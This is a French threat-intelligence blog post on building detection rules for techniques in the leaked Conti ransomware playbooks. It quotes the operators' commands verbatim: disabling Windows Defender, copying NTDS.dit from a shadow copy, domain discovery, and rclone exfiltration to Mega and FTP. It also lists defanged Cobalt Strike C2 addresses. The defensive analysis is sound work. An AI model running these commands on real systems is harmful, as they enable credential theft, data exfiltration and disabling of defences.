Sommaire
Le premier article de blog se concentrait sur l’évolution de Conti et le contexte et l’analyse de la fuite. Dans ce deuxième article de blog, nous verrons comment créer des règles de détection simples pour détecter les techniques présentées dans les manuels Conti. Les techniques sont simples pour la plupart d’entre elles, sans obfuscation et avec des techniques classiques, d’où la possibilité de règles de détection simples.
Pour cela, nous avons choisi quelques techniques que nous allons expliquer, et les relier aux règles existantes pour montrer que des techniques de détection open source existent déjà pour une telle menace et peuvent être utilisées pour aider toutes les entreprises à prévenir cela. Cependant, veuillez noter que même si des règles simples peuvent détecter les opérations Conti telles qu’elles sont affichées dans les manuels, cela ne signifie pas qu’elles détecteront les futures intrusions Conti ou d’autres acteurs de ransomware. Les techniques sont importantes et doivent être explorées en profondeur pour établir de meilleures règles de détection.
Détectons les techniques de Conti !
Désactiver Windows Defender à l’aide de PowerShell (T1562.001)
La commande utilisée pour désactiver Windows Defender par les opérateurs Conti est la suivante :
Set-MpPreference -DisableRealtimeMonitoring $true
Ils utilisent :
- PowerShell et la commande « Set-MpPreference » qui est utilisée pour configurer les préférences pour les analyses
- Les mises à jour de Windows Defender sur l’ensemble du système, au lieu de « Add-MpPreference » qui modifie les paramètres de Windows Defender et est souvent utilisé pour mettre en liste blanche un chemin spécifique d’être analysé par Windows Defender.
Une chose à noter ici est que les opérateurs Conti semblent désactiver UNIQUEMENT « RealTimeMonitoring », alors que la plupart des acteurs désactivent également « BehaviorMonitoring ».
Bien qu’il existe de nombreuses façons de désactiver Windows Defender, il s’agit d’une technique largement utilisée et donc d’une bonne opportunité de détection. En effet, celui-ci est utilisé par de nombreux autres acteurs du ransomware, mais aussi APT tels que Lazarus, comme le montre le billet de blog F-Secure¹.
Une règle Sigma pour détecter cela est également fournie avec le blogpost et son référentiel GitHub².
C’est très bien car cela permet à une telle menace d’être détectée avec uniquement l’ID d’événement 1 de SYSMON ou l’ID d’événement 4688 de Windows par exemple.
Dans SEKOIA.IO, nous avons une règle similaire pour détecter cette technique, mais comme écrit dans l’introduction de ce billet de blog, la commande elle-même n’est pas vraiment importante, ce qui est important, c’est la technique : Désactivation de Windows Defender. Par conséquent, nous avons examiné en profondeur le TTP pour vérifier quelles techniques peuvent être utilisées pour désactiver Windows Defender et avons établi des règles à ce sujet.
Pour donner quelques exemples, Windows Defender peut être désactivé à l’aide de la commande « sc » ou directement via les clés de registre. Son exécutable légitime « MpCmdRun.exe » peut également être utilisé pour supprimer toutes les signatures dans Windows Defender, ce qui le rend pas vraiment désactivé mais tout à fait inutile pour la détection.
Voici comment Windows Defender étant désactivé à l’aide de PowerShell est affiché sur une
Détection de la désactivation de Windows Defender dans SEKOIA.IO
L’annuaire est une méthode très courante pour extraire les hachages de mots de passe de tous les membres du domaine. Pour y parvenir, divers outils ou techniques peuvent être utilisés. Celui réalisé par opérateurs Conti sont basés sur la copie du fichier « NTDS.dit » à partir d’un cliché instantané de volume.
Les opérateurs Conti ne sont pas les seuls à utiliser cette technique. MITRE ATT&CK répertorie certains logiciels et groupes utilisant cette technique, nommés « OS Credential Dumping: NTDS »³. Ces acteurs menaçants incluent FIN6, Fox Kitten et Mustang Panda.
La technique largement utilisée et détaillée dans le manuel Conti consiste à trouver un Shadow Copy sur l’Active Directory puis à copier le fichier « NTDS.dit ». S’il n’existe pas de cliché instantané, les opérateurs Conti en créent un à l’aide de la commande « vssadmin ». Les lignes de commandes utilisées par les opérateurs sont les suivantes :
wmic /node:”DC01″ /user:”DOMAIN\admin” /password:”cleartextpass” process call create “cmd /c vssadmin list shadows >> c:\log. txt”
OU
wmic /node:”DC01″ /user:”DOMAIN\admin” /password:”cleartextpass” appel de processus créer “cmd /c vssadmin créer shadow /for=C: 2>&1”
PUIS
copier \\?\GLOBALROOT \Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\programdata
La détection du vidage du fichier NTDS.dit à l’aide de Volume Shadow Copy peut être réalisée en différentes étapes.
Tout d’abord, la surveillance des exécutions « vssadmin » suspectes peut révéler la création, la suppression ou le listage de clichés instantanés. Bien que la création de clichés instantanés soit une solution courante utilisée pour effectuer des sauvegardes régulières, la liste et la suppression de clichés instantanés sont beaucoup plus rares.
La règle de détection peut être effectuée sur l’ID d’événement Microsoft-Windows-Security-Auditing 4688 (un nouveau processus a été créé) en recherchant le nom du processus « vssadmin.exe » et les arguments de ligne de commande suspects, qui pourraient être « supprimer les ombres ». « lister les ombres », « créer une ombre /for=C : ». L’Event ID 1 (Process creation) de Sysmon peut également être utilisé avec les champs « Image » et « CommandLine ».
Deuxièmement, la détection des activités liées au fichier « NTDS.dit » serait efficace pour identifier les comportements des attaquants. Pour ce faire, une solution consiste à surveiller les lignes de commande qui contiennent la commande « copier » et le chemin du fichier « NTDS.dit » « \Windows\NTDS\NTDS.dit ». Encore une fois, l’ID d’événement Windows Event 4688 et l’ID d’événement Sysmon 1 le permettent. Sysmon peut également être utilisé pour détecter la création de ce fichier en utilisant l’Event ID 11 (FileCreate) et en vérifiant si le « TargetFilename » correspond à « *NTDS.dit » au cas où l’attaquant ne le renommerait pas.
Une règle Sigma⁴ fournit des éléments pour détecter la technique utilisée par les opérateurs Conti.
D’autres façons de vider le fichier « NTDS.dit » sont possibles, en utilisant les outils Windows intégrés (esentutl, ntdsutil) ou des outils de test d’intrusion (Mimikatz, Koadic, CrackMapExec, …). Encore une fois, leur exécution peut être détectée à l’aide d’événements Windows et Sysmon.
Nous avons rejoué les commandes sur une machine Windows supervisée par le SEKOIA.IO XDR. Voici deux alertes qui ont été déclenchées :
Liste des clichés instantanés sur SEKOIA.IO
Détection de la copie du fichier NTDS.dit sur SEKOIA.IO
Identifier les domaines à l’aide de Nltest (T1482)
Les opérateurs Conti ont utilisé la commande intégrée de Windows « nltest. exe » pour identifier les contrôleurs de domaine (DC) et les relations de « confiance ». Comme leur nom l’indique, les contrôleurs de domaine sont des serveurs qui peuvent « contrôler » un domaine Windows. Cette commande est donc couramment utilisée par les attaquants car il s’agit d’un moyen rapide et intégré d’énumérer les serveurs d’un grand intérêt.
La relation d’approbation est un lien entre des domaines ou des forêts dans un environnement Windows. Lorsque ce lien est établi entre deux domaines par exemple, le domaine A peut accéder aux ressources du domaine B. C’est bien plus complexe que cela cependant car il peut y avoir une confiance unidirectionnelle ou une confiance bidirectionnelle, … Nous vous recommandons de lire la documentation de Microsoft⁵ pour plus de détails et cet excellent article de blog⁶ par @harmjoy qui couvre de nombreuses techniques utilisées pour abuser des approbations de domaine.
Bien qu’elle soit intégrée, la commande « nltest » n’est étonnamment pas beaucoup utilisée pour une utilisation légitime par les utilisateurs/administrateurs, ce qui en fait une excellente opportunité de détection ! Voici les commandes exactes utilisées par les opérateurs Conti :
nltest /DOMAIN_TRUSTS
nltest /dclist:”NameDomain”
nltest /domain_trusts /all_trusts
Ces trois commandes font ce qui suit :
- Renvoie une liste de domaines de confiance.
- Renvoie tous les contrôleurs de domaine sur un domaine spécifique (NameDomain ici)
- Renvoie tous les domaines de confiance.
Encore une fois, comme ces commandes sont couramment utilisées et très simples, une règle publique Sigma⁷ existe déjà pour cela et peut être utilisée pour détecter les trois commandes.
Cette règle peut être utilisée uniquement avec l’ID d’événement Windows 4688 ou l’ID d’événement Sysmon 1.
D’autres techniques peuvent être utilisées pour récupérer des informations similaires telles que « dsquery.exe », comme on peut l’observer dans le Sigma , qui est également un exécutable Windows intégré légitime. Un autre gain rapide consiste à jeter un œil aux commandes PowerShell qui peuvent également être utilisées pour récupérer une liste de contrôleurs de domaine pour un domaine, bien que cela soit plus couramment utilisé et puisse conduire à des faux positifs.
Voici comment une alerte concernant cette technique est affichée sur SEKOIA.IO :
Détection de la découverte des approbations de domaine à l’aide de la commande « nltest »
Identification des systèmes distants à l’aide de la commande net (T1018)
Les opérateurs Conti ont exécuté les commandes suivantes (SEKOIA a supprimé les informations explicites sur les noms d’hôte et les noms d’utilisateur) :
net view \\[DC_SERVER] /all 1>>c :\programdata\sh.txt
net view \\[HOSTNAME] /ALL
net view /all /domain
net view \\host /ALL
net view \\172.16.1.40 /ALL
net user [USERNAME] /dom
net user [USERNAME] /domain
net user Администратор /active:yes
net group « domain admins » /domain
net accounts /dom
Il y a plusieurs choses à noter dans ces commandes.
La première est qu’une fois, ils utilisent l’opérateur « 1>> » pour rediriger la sortie de la commande dans un fichier. La redirection de la sortie vers un fichier sous Windows n’est déjà pas nécessairement courante mais peut toujours conduire à pas mal de faux positifs selon les successions, mais cela se fait principalement en utilisant uniquement « > » ou « >> », pas « 1>> ”.
Il y a une victoire rapide impressionnante ici : vérifier « 1>> » dans l’argument de ligne de commande.
La deuxième chose est que même si la plupart des commandes répertoriées sont très couramment utilisées dans un environnement d’entreprise, la suivante peut avoir un taux de détection plus élevé :
net group « domain admins » /domain
En effet, c’est un peu moins courant de voir que commande dans les environnements d’entreprise et peut donc être utilisé pour la détection. Il s’agit également d’une règle disponible publiquement sur le référentiel Sigma⁸ et peut également être détectée avec l’ID d’événement Windows 4688 ou l’ID d’événement Sysmon 1. En fonction de l’activité de votre domaine, vous pourrez peut-être supprimer les conditions de temps et de comptage dans la règle pour être plus précis et être en mesure d’attraper un attaquant en utilisant cette commande une seule fois. Cependant, notez que cela peut conduire à des faux positifs et cela doit certainement être adapté à votre environnement d’entreprise.
Sauf que, toutes les commandes sont très couramment utilisées dans un environnement d’entreprise. Ce sont des commandes de découverte/reconnaissance et devraient toujours être détectées à notre avis, mais avec un « score »/« urgence » faible. Comme indiqué ci-dessus avec la règle Sigma, il peut être bon d’avoir un score plus élevé si les commandes sont exécutées sur le même hôte plusieurs fois de suite en quelques secondes. Notez que voir une seule de ces commandes ne devrait pas être un « drapeau rouge », mais il est toujours utile d’avoir une règle pour cela au cas où d’autres règles correspondent.
Prenons un exemple rapide avec uniquement les commandes ci-dessus. Il y a 10 commandes répertoriées. En supposant que les 10 sont exécutées (même si ce ne sera probablement pas le cas), les règles créées correspondront 10 fois.
Chez SEKOIA.IO, nous utilisons un « score » d’urgence qui représente la criticité d’une alerte et si elle doit être traitée immédiatement ou non. Nous avons également un système de « similarité », qui nous indiquera combien de fois une règle a correspondu sur le même hôte.
Par conséquent, si plusieurs commandes sont exécutées sur le même hôte, et que chaque commande correspond à la même règle, nous aurons toujours un score d’urgence faible mais nous aurons un nombre de « similarité » élevé.
Dans le cas où une seule commande est exécutée, nous aurons une alerte avec un événement et 0 similarité, nous saurons donc qu’il s’agit très probablement d’un faux positif si aucune autre règle ne correspond également.
Cependant lorsque les 10 commandes seront exécutées, nous aurons soit :
- une alerte avec 10 similarités si les commandes sont exécutées sur le même hôte
- 10 alertes sinon
cas, c’est déjà un peu suspect. Ensuite, nous analyserons les événements et vérifierons s’il existe d’autres événements suspects sur le même hôte / entourant ces commandes dans l’ensemble. Et ce n’est que l’étape de la découverte, tant d’autres alertes, comme le montre ce billet de blog par exemple, seront (probablement) levées !
Tout ce qui précède est juste là pour dire une chose : chaque étape de la matrice MITRE ATT&CK mérite d’être détectée. Les faux positifs peuvent toujours être évités / réduits et ne pas détecter ces techniques (et en particulier les techniques de découverte) pourrait entraîner un énorme retard de la part des défenseurs pour repérer l’attaquant.
La détection de chaque commande ici est également assez simple avec juste la détection de « net.exe »/ »net1.exe » et chaque option par exemple et fonctionne également avec l’ID d’événement Windows 4688 et l’ID d’événement Sysmon 1.
Voici un exemple simple qui affiche une alerte sur SEKOIA.IO lorsque « net.exe » ou « net1.exe » sont utilisés pour découvrir des partages :
Détection des commandes de découverte de partage réseau sur SEKOIA.IO
Exfiltrer les données à l’aide de Rclone (T1567.002)
Rclone est un programme légitime pour gérer les fichiers sur le stockage Cloud qui est souvent utilisé par les opérateurs de ransomware effectuant une double extorsion. En effet, il s’agit d’un simple outil en ligne de commande qui leur permet d’exfiltrer les données des systèmes compromis vers leur système de stockage. En 2021, Rclone a été observé dans plusieurs attaques de ransomware opérées par les opérateurs Darkside, Egregor, Revil ou Conti. Cet outil est rarement utilisé dans les environnements informatiques des entreprises. Il est donc pertinent de rechercher ses éventuelles traces d’exécution.
Selon le manuel divulgué et un précédent rapport DFIR⁹, les opérateurs Conti utilisent Rclone avec un fichier de configuration et sans essayer de dissimuler leurs activités. En effet, ils téléchargent le programme directement depuis la page web officielle et n’obscurcissent pas leurs commandes :
rclone.exe config
rclone.exe config show
rclone.exe copie « FILES » Mega:Finanse -q –ignore-existing –auto-confirm –multi -thread-streams 12 –transfers 12
rclone.exe copie « FILES » ftp1:uploads/Users/ -q –ignore-existing
–auto-confirm –multi-thread-streams 3 –transfers 3
Les opérateurs Conti semblent utiliser des serveurs FTP et Méga service pour exfiltrer les données des victimes. Ces informations sont intéressantes pour détecter leurs activités dans le cas où Rclone serait légitimement utilisé dans un environnement informatique, mais avec d’autres stockages Cloud que FTP et Mega.
Voici quelques façons de détecter l’utilisation de Rclone sur les systèmes Windows :
- Une méthode de base consiste à surveiller la création de processus dont le nom de processus est « rclone.exe » en utilisant l’ID d’événement Windows 4688 ou l’ID d’événement Sysmon 1. Cette méthode est suffisante pour détecter les opérations effectuées. par les opérateurs Conti.
- Dans le cas où des attaquants masquent l’exécutable en le renommant, il reste possible de détecter son exécution à l’aide des mêmes événements Windows ou Sysmon en recherchant dans la valeur « CommandLine » des séquences d’arguments spécifiques. Par exemple, détecter les motifs « copy », « mega: » et « – » (qui correspond à un drapeau supplémentaire) dans la même ligne de commande est suffisamment spécifique pour trouver l’exécution d’un binaire Rclone renommé. Bien entendu, le pattern « mega : » peut être remplacé par « ftp : », « pcloud : », « s3 » ou tout autre service de stockage susceptible de recevoir des données exfiltrées par un attaquant.
- Dans le cas où des attaquants masquent l’exécutable et utilisent un fichier de configuration Rclone au lieu d’indiquer le point de terminaison de destination dans la ligne de commande, il est possible de détecter les arguments spécifiques à l’utilisation de Rclone. Par exemple, la recherche de « -ignore-existing », « -auto-confirm », « -multi-thread-streams », « -transfers », « no-check-certificate » en plus de l’argument « copy » peut révéler Exécution de Rclone.
Là encore, les règles de détection Sigma¹⁰ ¹¹ ¹² détectant l’exécution de Rclone sont disponibles dans leur référentiel GitHub.
Une règle de détection basée sur les trois cas décrits précédemment a déclenché une alerte dans SEKOIA.IO XDR lors de la lecture des commandes des opérateurs Conti pour exfiltrer les données à l’aide de Rclone.
Détection des commandes Rclone sur SEKOIA.IO
Cobalt Strike (T*)
L’utilisation de Cobalt Strike est une mine d’or pour détecter un réseau compromis et a déjà été abordée dans ce précédent article de blog¹³.
En plus de cela, Cobalt Strike C2 (serveurs de commandement et de contrôle) peut souvent être repéré, selon la configuration, à l’aide de différentes sources (en ligne et hors ligne). Dans les fuites, 4 adresses IP CobaltStrike ont été fournies : « 162.244.80[.]235 », « 85.93.88[.]165 », « 185.141.63[.]120 » et « 82.118.21[.]1 » .
Bien qu’après la fuite, ils ne seront probablement plus utilisés car cela est vraiment facile à bloquer pour les entreprises et maintenant intégré dans de nombreux flux, ce qui est utile est de repérer les C2 AVANT qu’ils ne soient utilisés dans les opérations et globalement avant qu’ils ne soient rendus publics.
Chez SEKOIA, nous suivons les infrastructures adverses pour collecter des informations sur les C2 à l’aide de différentes sources. À titre d’exemple, nous avions les Cobalt Strike C2 fournis dans la fuite avant qu’ils ne fuient (et donc, espérons-le, avant qu’ils ne soient utilisés dans une opération):
où « MalleableC2 » représente des profils spécifiques utilisés par le serveur de l’équipe Cobalt Strike et « Cobalt Strike » la configuration par défaut de Cobalt Strike. Comme le montre l’image, un C2 a été repéré le 12 juillet 2021, soit près d’un mois avant la première fuite. Il est donc très utile d’avoir ce type de capacité en plus des détections classiques du système et du réseau. Car cela donne un autre moyen de détecter les menaces. Généralement, les entreprises peuvent facilement effectuer des actions sur les adresses IP (et les noms de domaine).
Conclusion
Ce deuxième article de blog s’est concentré sur la détection des techniques de fuite de Conti. Comme indiqué à plusieurs reprises, cela montre que détecter les actions des opérateurs de ransomware avant leur exécution est en réalité possible car il existe de multiples possibilités de détection. En effet, ils utilisent des commandes que l’on voit couramment chez de nombreux attaquants et ils ne semblent pas masquer les commandes. Au final, c’est quand même une bonne occasion de :
- Combler d’éventuelles lacunes de détection si vous en avez et de
- et de revoir le MITRE ATT&CK dans son ensemble pour étudier plus en profondeur les techniques utilisées par Conti pour détecter d’autres acteurs qui pourraient utiliser des techniques plus complexes.
Notre analyse nous laisse avec une question : les opérateurs Conti vont-ils changer leur modus operandi suite aux fuites ou non ?
Les techniques utilisées n’étant déjà pas vraiment avancées mais efficaces, chez SEKOIA nous pensons que les fuites n’auront pas beaucoup d’impact sur le fonctionnement de Conti. Comme ils visent l’efficacité et l’argent, ils cibleront toujours les entreprises avec soin, puis lanceront leur ransomware aussi vite que possible. Ils ne prendront probablement pas la peine de changer les techniques car cela coûte de l’argent, la plupart des techniques étaient déjà connues avant les fuites dans les différents rapports de réponse aux incidents et cela fonctionne toujours aujourd’hui, alors pourquoi s’en soucier ?
Merci d’avoir lu cet article. Vous pouvez également lire notre article sur :
